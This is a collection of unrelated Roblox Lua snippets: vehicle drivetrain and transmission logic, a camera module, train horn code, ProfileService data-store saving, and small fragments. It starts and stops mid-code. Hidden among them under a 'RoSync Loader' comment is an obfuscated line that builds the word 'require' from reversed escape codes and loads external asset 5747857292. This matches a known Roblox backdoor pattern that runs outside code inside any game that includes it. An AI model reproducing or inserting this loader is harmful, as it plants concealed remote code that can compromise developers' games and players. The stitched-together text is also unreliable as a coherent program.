_Tune.IdleRPM then LaunchBuild = LaunchBuild - 50 end _RPM = LaunchBuild end return else if LaunchBuild > _Tune.IdleRPM then LaunchBuild = LaunchBuild - 50 end end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2*(LaunchBuild/_Tune.IdleRPM) else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() local IsOnMult = _IsOn == true and 1 or 0 --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*LaunchBuild/_Tune.IdleRPM else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp))*(LaunchBuild/_Tune.IdleRPM) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if DM.Value == "Sport" or DM.Value == "SportPlus" or DM.Value == "Sport++" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end elseif DM.Value == "Comfort" then if _RPM>(ComfShift+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(ComfShift-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end end else if DM.Value == "Sport" or DM.Value == "SportPlus" or DM.Value == "Sport++" then if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end elseif DM.Value == "Comfort" then if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(ComfShift+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(ComfShift-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = _GThrot * _GThrotShift local tq = _OutTorque --Apply AWD Vectoring if _Tune.Config == "AWD" then local bias = (_Tune.TorqueVector+1)/2 if v.Name=="FL" or v.Name=="FR" then tq = tq*(1-bias) elseif v.Name=="RL" or v.Name=="RR" then tq = tq*bias end end --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- Map voting settings
local availableMaps = { "Dead Town", "Test Map" } local mapVotes = {} -- Table to store the vote counts for each map
-- Holds the game tree converted to a list.
local TreeList = {}
-- PROPERTIES
IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12 IconController.leftOffset = 0 IconController.rightOffset = 0 IconController.mimicCoreGui = true IconController.healthbarDisabled = false
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
function ClassicCamera:SetCameraMovementMode(cameraMovementMode) BaseCamera.SetCameraMovementMode(self, cameraMovementMode) self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle end function ClassicCamera:Update() local now = tick() local timeDelta = now - self.lastUpdate local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local overrideCameraLookVector = nil if self.resetCameraAngle then local rootPart = self:GetHumanoidRootPart() if rootPart then overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector else overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector end self.resetCameraAngle = false end local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing if self.lastUpdate == nil or timeDelta > 1 then self.lastCameraTransform = nil end if self.lastUpdate then local gamepadRotation = self:UpdateGamepad() if self:ShouldUseVRRotation() then self.rotateInput = self.rotateInput + self:GetVRRotationInput() else -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, timeDelta) if gamepadRotation ~= ZERO_VECTOR2 then self.rotateInput = self.rotateInput + (gamepadRotation * delta) end local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.turningLeft and -120 or 0) angle = angle + (self.turningRight and 120 or 0) end if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0) end end end local cameraHeight = self:GetCameraHeight() -- Reset tween speed if user is panning if self.userPanningTheCamera then tweenSpeed = 0 self.lastUserPanCamera = tick() end local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraToSubjectDistance() if zoom < 0.5 then zoom = 0.5 end if self:GetIsMouseLocked() and not self:IsInFirstPerson() then -- We need to use the right vector of the camera after rotation, not before local newLookCFrame = self:CalculateNewLookCFrame(overrideCameraLookVector) local offset = self:GetMouseLockOffset() local cameraRelativeOffset = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector --offset can be NAN, NAN, NAN if newLookVector has only y component if Util.IsFiniteVector3(cameraRelativeOffset) then subjectPosition = subjectPosition + cameraRelativeOffset end else if not self.userPanningTheCamera and self.lastCameraTransform then local isInFirstPerson = self:IsInFirstPerson() if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then if isInFirstPerson then if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector) if Util.IsFinite(y) then self.rotateInput = self.rotateInput + Vector2.new(y, 0) end tweenSpeed = 0 end elseif not userRecentlyPannedCamera then local forwardVector = humanoid.Torso.CFrame.lookVector if isOnASkateboard then forwardVector = cameraSubject.CFrame.lookVector end tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed) local percent = math.clamp(tweenSpeed * timeDelta, 0, 1) if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then percent = 1 end local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector()) if Util.IsFinite(y) and math.abs(y) > 0.0001 then self.rotateInput = self.rotateInput + Vector2.new(y * percent, 0) end end elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then -- Logic that was unique to the old FollowCamera module local lastVec = -(self.lastCameraTransform.p - subjectPosition) local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector()) -- This cutoff is to decide if the humanoid's angle of movement, -- relative to the camera's look vector, is enough that -- we want the camera to be following them. The point is to provide -- a sizable dead zone to allow more precise forward movements. local thetaCutoff = 0.4 -- Check for NaNs if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then self.rotateInput = self.rotateInput + Vector2.new(y, 0) end end end end if not self.isFollowCamera then local VREnabled = VRService.VREnabled if VREnabled then newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta) else newCameraFocus = CFrame.new(subjectPosition) end local cameraFocusP = newCameraFocus.p if VREnabled and not self:IsInFirstPerson() then local vecToSubject = (subjectPosition - camera.CFrame.p) local distToSubject = vecToSubject.magnitude -- Only move the camera if it exceeded a maximum distance to the subject in VR if distToSubject > zoom or self.rotateInput.x ~= 0 then local desiredDist = math.min(distToSubject, zoom) vecToSubject = self:CalculateNewLookVectorVR() * desiredDist local newPos = cameraFocusP - vecToSubject local desiredLookDir = camera.CFrame.lookVector if self.rotateInput.x ~= 0 then desiredLookDir = vecToSubject end local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z) self.rotateInput = ZERO_VECTOR2 newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0) end else local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector) self.rotateInput = ZERO_VECTOR2 newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP) end else -- is FollowCamera local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector) self.rotateInput = ZERO_VECTOR2 if VRService.VREnabled then newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta) else newCameraFocus = CFrame.new(subjectPosition) end newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0) end if FFlagUserCameraToggle then local toggleOffset = self:GetCameraToggleOffset(timeDelta) newCameraFocus = newCameraFocus + toggleOffset newCameraCFrame = newCameraCFrame + toggleOffset end self.lastCameraTransform = newCameraCFrame self.lastCameraFocus = newCameraFocus if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then self.lastSubjectCFrame = cameraSubject.CFrame else self.lastSubjectCFrame = nil end end self.lastUpdate = now return newCameraCFrame, newCameraFocus end function ClassicCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function ClassicCamera:LeaveFirstPerson() self.inFirstPerson = false self:UpdateMouseBehavior() end return ClassicCamera
--Horn Sound Code, Metrotren
m1=script.Parent.StartHorn m2=script.Parent.HornSound m3=script.Parent.EndHorn m1:Stop() --Initial setup m2:Stop() m3:Stop() m1.Volume = 0 m2.Volume = 0 m3.Volume = 0 m2.Looped = false m2.Playing = false script.Parent.Parent:WaitForChild("Drive").Locotrol.Event:connect(function(data) if data["Horn"] == true then m2.Volume = 0 m2.Looped = false m2:Stop() m2.Playing = true m3.Volume = 0 m3:stop() m1.Volume = 5 m1:Play() --wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon. if m1.TimePosition < m1.TimeLength then m2.Looped = true m2.Volume = 5 m2:Play() else m1.Volume = 0 m1:Stop() end elseif data["Horn"] == false then m1.Volume = 0 m1:Stop() --For 3 part option m2.Volume = 0 m2:Stop() m2.Looped = false m2.Playing = false m3.Volume = 5 m3:Play() --[[ -- For 2 part option if m2.IsPlaying == true then for i=1, 0, -.1 do m2.Volume = i*1 wait(.1) end end m2.Volume = 0 m2.Looped = false m2.Playing = false m2:Stop() --]] end end)
--[[ Given a [AssetType], this function will match it to its equivalent [AccessoryType]. ```lua matchAssetTypeToAccessoryType(Enum.AssetType.FaceAccessory) -- Enum.AccessoryType.Face matchAssetTypeToAccessoryType(Enum.AssetType.Hat) -- Enum.AccessoryType.Hat matchAssetTypeToAccessoryType(Enum.AssetType.WaistAccessory) -- Enum.AccessoryType.Waist ``` This function is called when we'd like to convert a given Enum.AssetType into its corresponding Enum.AccessoryType. @within Modules @return Enum.AccessoryType The AccessoryType that matches `assetType`, otherwise returns [Enum.AccessoryType.Unknown]. ]]
local function matchAssetTypeToAccessoryType(assetType: Enum.AssetType): Enum.AccessoryType if not assetType or not assetType.Name then return Enum.AccessoryType.Unknown end for _, accessoryType in ipairs(Enum.AccessoryType:GetEnumItems()) do if string.gsub(assetType.Name, "Accessory", "") == accessoryType.Name then return accessoryType end end return Enum.AccessoryType.Unknown end return matchAssetTypeToAccessoryType
-- The set where used dependencies should be saved to.
local dependencySet: Set<PubTypes.Dependency>? = nil
-- Register explorer pane toggling hotkeys
AssignHotkey({ 'LeftShift', 'H' }, ToggleExplorer) AssignHotkey({ 'RightShift', 'H' }, ToggleExplorer)
-- Event Bindings
DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission) FetchConfiguration.OnClientEvent:connect(OnFetchConfiguration) ScreenGui.ScoreFrame["Bright blue"].Visible = false ScreenGui.ScoreFrame["Bright red"].Visible = false
--[[ Last synced 12/11/2020 06:20 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[ update_settings = { ExistingProfileHandle = function(latest_data), MissingProfileHandle = function(latest_data), EditProfile = function(lastest_data), WipeProfile = nil / true, } --]]
local function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock) local loaded_data local wipe_status = false local success, error_message = pcall(function() if update_settings.WipeProfile ~= true then local transform_function = function(latest_data) if latest_data == "PROFILE_WIPED" then latest_data = nil -- Profile was previously wiped - ProfileService will act like it was empty end local missing_profile = false local data_corrupted = false local global_updates_data = {0, {}} if latest_data == nil then missing_profile = true elseif type(latest_data) ~= "table" then missing_profile = true data_corrupted = true end if type(latest_data) == "table" then -- Case #1: Profile was loaded if type(latest_data.Data) == "table" and type(latest_data.MetaData) == "table" and type(latest_data.GlobalUpdates) == "table" then latest_data.WasCorrupted = false -- Must be set to false if set previously global_updates_data = latest_data.GlobalUpdates if update_settings.ExistingProfileHandle ~= nil then update_settings.ExistingProfileHandle(latest_data) end -- Case #2: Profile was not loaded but GlobalUpdate data exists elseif latest_data.Data == nil and latest_data.MetaData == nil and type(latest_data.GlobalUpdates) == "table" then latest_data.WasCorrupted = false -- Must be set to false if set previously global_updates_data = latest_data.GlobalUpdates missing_profile = true else missing_profile = true data_corrupted = true end end -- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists if missing_profile == true then latest_data = { -- Data = nil, -- MetaData = nil, GlobalUpdates = global_updates_data, } if update_settings.MissingProfileHandle ~= nil then update_settings.MissingProfileHandle(latest_data) end end -- Editing profile: if update_settings.EditProfile ~= nil then update_settings.EditProfile(latest_data) end -- Data corruption handling (Silently override with empty profile) (Also run Case #1) if data_corrupted == true then latest_data.WasCorrupted = true -- Temporary tag that will be removed on first save end return latest_data end if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock loaded_data = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_lookup, profile_key, transform_function) Madwork.HeartbeatWait() -- Simulate API call yield elseif UseMockDataStore == true then -- Used when API access is disabled loaded_data = MockUpdateAsync(MockDataStore, profile_store._profile_store_lookup, profile_key, transform_function) Madwork.HeartbeatWait() -- Simulate API call yield else loaded_data = CustomWriteQueueAsync( function() -- Callback return profile_store._global_data_store:UpdateAsync(profile_key, transform_function) end, profile_store._profile_store_lookup, -- Store profile_key -- Key ) end else if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock local mock_data_store = UserMockDataStore[profile_store._profile_store_lookup] if mock_data_store ~= nil then mock_data_store[profile_key] = nil end wipe_status = true Madwork.HeartbeatWait() -- Simulate API call yield elseif UseMockDataStore == true then -- Used when API access is disabled local mock_data_store = MockDataStore[profile_store._profile_store_lookup] if mock_data_store ~= nil then mock_data_store[profile_key] = nil end wipe_status = true Madwork.HeartbeatWait() -- Simulate API call yield else loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, function() return "PROFILE_WIPED" -- It's impossible to set DataStore keys to nil after they have been set end) if loaded_data == "PROFILE_WIPED" then wipe_status = true end end end end) if update_settings.WipeProfile == true then return wipe_status elseif success == true and type(loaded_data) == "table" then -- Corruption handling: if loaded_data.WasCorrupted == true then RegisterCorruption( profile_store._profile_store_name, profile_store._profile_store_scope, profile_key ) end -- Return loaded_data: return loaded_data else RegisterIssue( (error_message ~= nil) and error_message or "Undefined error", profile_store._profile_store_name, profile_store._profile_store_scope, profile_key ) -- Return nothing: return nil end end local function RemoveProfileFromAutoSave(profile) local auto_save_index = table.find(AutoSaveList, profile) if auto_save_index ~= nil then table.remove(AutoSaveList, auto_save_index) if auto_save_index < AutoSaveIndex then AutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well end if AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1 AutoSaveIndex = 1 end end end local function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon -- Add at AutoSaveIndex and move AutoSaveIndex right: table.insert(AutoSaveList, AutoSaveIndex, profile) if #AutoSaveList > 1 then AutoSaveIndex = AutoSaveIndex + 1 elseif #AutoSaveList == 1 then -- First profile created - make sure it doesn't get immediately auto saved: LastAutoSave = os.clock() end end local function ReleaseProfileInternally(profile) -- 1) Remove profile object from ProfileService references: -- -- Clear reference in ProfileStore: local profile_store = profile._profile_store local loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles loaded_profiles[profile._profile_key] = nil if next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive local index = table.find(ActiveProfileStores, profile_store) if index ~= nil then table.remove(ActiveProfileStores, index) end end -- Clear auto update reference: RemoveProfileFromAutoSave(profile) -- 2) Trigger release listeners: -- local place_id local game_job_id local active_session = profile.MetaData.ActiveSession if active_session ~= nil then place_id = active_session[1] game_job_id = active_session[2] end profile._release_listeners:Fire(place_id, game_job_id) end local function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data) local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...} local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...} -- "old_" or "new_" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}} for _, new_global_update in ipairs(new_global_updates_data[2]) do -- Find old global update with the same update_id: local old_global_update for _, global_update in ipairs(old_global_updates_data[2]) do if global_update[1] == new_global_update[1] then old_global_update = global_update break end end -- A global update is new when it didn't exist before or its version_id or update_locked state changed: local is_new = false if old_global_update == nil or new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then is_new = true end if is_new == true then -- Active global updates: if new_global_update[3] == false then -- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary) local is_pending_lock = false for _, update_id in ipairs(pending_update_lock) do if new_global_update[1] == update_id then is_pending_lock = true break end end if is_pending_lock == false then -- Trigger new active update listeners: global_updates_object._new_active_update_listeners:Fire(new_global_update[1], new_global_update[4]) end end -- Locked global updates: if new_global_update[3] == true then -- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing) local is_pending_clear = false for _, update_id in ipairs(pending_update_clear) do if new_global_update[1] == update_id then is_pending_clear = true break end end if is_pending_clear == false then -- Trigger new locked update listeners: global_updates_object._new_locked_update_listeners:FireUntil( function() -- Check if listener marked the update to be cleared: -- Normally there should be only one listener per profile for new locked global updates, but -- in case several listeners are connected we will not trigger more listeners after one listener -- marks the locked global update to be cleared. return table.find(pending_update_clear, new_global_update[1]) == nil end, new_global_update[1], new_global_update[4] ) end end end end end local function SaveProfileAsync(profile, release_from_session) if type(profile.Data) ~= "table" then RegisterCorruption( profile._profile_store._profile_store_name, profile._profile_store._profile_store_scope, profile._profile_key ) error("[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! Profile: " .. profile:Identify()) end if release_from_session == true then ReleaseProfileInternally(profile) end ActiveProfileSaveJobs = ActiveProfileSaveJobs + 1 local last_session_load_count = profile.MetaData.SessionLoadCount -- Compare "SessionLoadCount" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again local repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed while repeat_save_flag == true do if release_from_session ~= true then repeat_save_flag = false end local loaded_data = StandardProfileUpdateAsyncDataStore( profile._profile_store, profile._profile_key, { ExistingProfileHandle = nil, MissingProfileHandle = nil, EditProfile = function(latest_data) -- 1) Check if this session still owns the profile: -- local active_session = latest_data.MetaData.ActiveSession local force_load_session = latest_data.MetaData.ForceLoadSession local session_load_count = latest_data.MetaData.SessionLoadCount local session_owns_profile = false local force_load_pending = false if type(active_session) == "table" then session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count end if type(force_load_session) == "table" then force_load_pending = not IsThisSession(force_load_session) end if session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile -- 2) Manage global updates: -- local latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}} local latest_global_updates_list = latest_global_updates_data[2] local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...} local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...} -- Active update locking: for i = 1, #latest_global_updates_list do for _, lock_id in ipairs(pending_update_lock) do if latest_global_updates_list[i][1] == lock_id then latest_global_updates_list[i][3] = true break end end end -- Locked update clearing: for _, clear_id in ipairs(pending_update_clear) do for i = 1, #latest_global_updates_list do if latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then table.remove(latest_global_updates_list, i) break end end end -- 3) Save profile data: -- latest_data.Data = profile.Data latest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData latest_data.MetaData.LastUpdate = os.time() if release_from_session == true or force_load_pending == true then latest_data.MetaData.ActiveSession = nil end end end, }, profile._is_user_mock ) if loaded_data ~= nil then repeat_save_flag = false -- 4) Set latest data in profile: -- -- Setting global updates: local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local old_global_updates_data = global_updates_object._updates_latest local new_global_updates_data = loaded_data.GlobalUpdates global_updates_object._updates_latest = new_global_updates_data -- Setting MetaData: local session_meta_data = profile.MetaData local latest_meta_data = loaded_data.MetaData for key in pairs(SETTINGS.MetaTagsUpdatedValues) do session_meta_data[key] = latest_meta_data[key] end session_meta_data.MetaTagsLatest = latest_meta_data.MetaTags -- 5) Check if session still owns the profile: -- local active_session = loaded_data.MetaData.ActiveSession local session_load_count = loaded_data.MetaData.SessionLoadCount local session_owns_profile = false if type(active_session) == "table" then session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count end local is_active = profile:IsActive() if session_owns_profile == true then -- 6) Check for new global updates: -- if is_active == true then -- Profile could've been released before the saving thread finished CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data) end else -- Session no longer owns the profile: -- 7) Release profile if it hasn't been released yet: -- if is_active == true then ReleaseProfileInternally(profile) end -- Cleanup reference in custom write queue: CustomWriteQueueMarkForCleanup(profile._profile_store._profile_store_lookup, profile._profile_key) -- Hop ready listeners: if profile._hop_ready == false then profile._hop_ready = true profile._hop_ready_listeners:Fire() end end -- Signaling MetaTagsUpdated listeners after a possible external profile release was handled: profile.MetaTagsUpdated:Fire(profile.MetaData.MetaTagsLatest) elseif repeat_save_flag == true then Madwork.HeartbeatWait() -- Prevent infinite loop in case DataStore API does not yield end end ActiveProfileSaveJobs = ActiveProfileSaveJobs - 1 end
--[=[ Adds a callback to be called before save. This may return a promise. @param callback function -- May return a promise @return function -- Call to remove ]=]
function DataStoreStage:AddSavingCallback(callback) assert(type(callback) == "function", "Bad callback") table.insert(self._savingCallbacks, callback) return function() self:RemoveSavingCallback(callback) end end
--Xfabri_YT
local l_Player_1 = game.Players.LocalPlayer; local l_Character_2 = l_Player_1.Character or l_Player_1.CharacterAdded:Wait() local l_Root_3 = l_Character_2:WaitForChild("HumanoidRootPart"); local l_iPart_4 = workspace.Tower.Tower.Tower.Interactions.InteractionLeverPart; local l_UIS_5 = game:GetService("UserInputService"); l_UIS_5.InputBegan:Connect(function(p1) if p1.KeyCode == Enum.KeyCode.E then if (l_iPart_4.Position - l_Root_3.Position).magnitude < 5 then workspace.Tower.Tower.Tower.Light.LightLever.LeverEvent:FireServer(); end; end; end);
-- Ring1 descending
for l = 1,#lifts1 do if (lifts1[l].className == "Part") then lifts1[l].BodyPosition.position = Vector3.new((lifts1[l].BodyPosition.position.x),(lifts1[l].BodyPosition.position.y-0),(lifts1[l].BodyPosition.position.z)) end end wait(0.1) for p = 1,#parts1 do parts1[p].CanCollide = false end wait(0.1)
-- DefaultValue for spare ammo
local SpareAmmo = 9999999999999999
--[[ Methods ]]
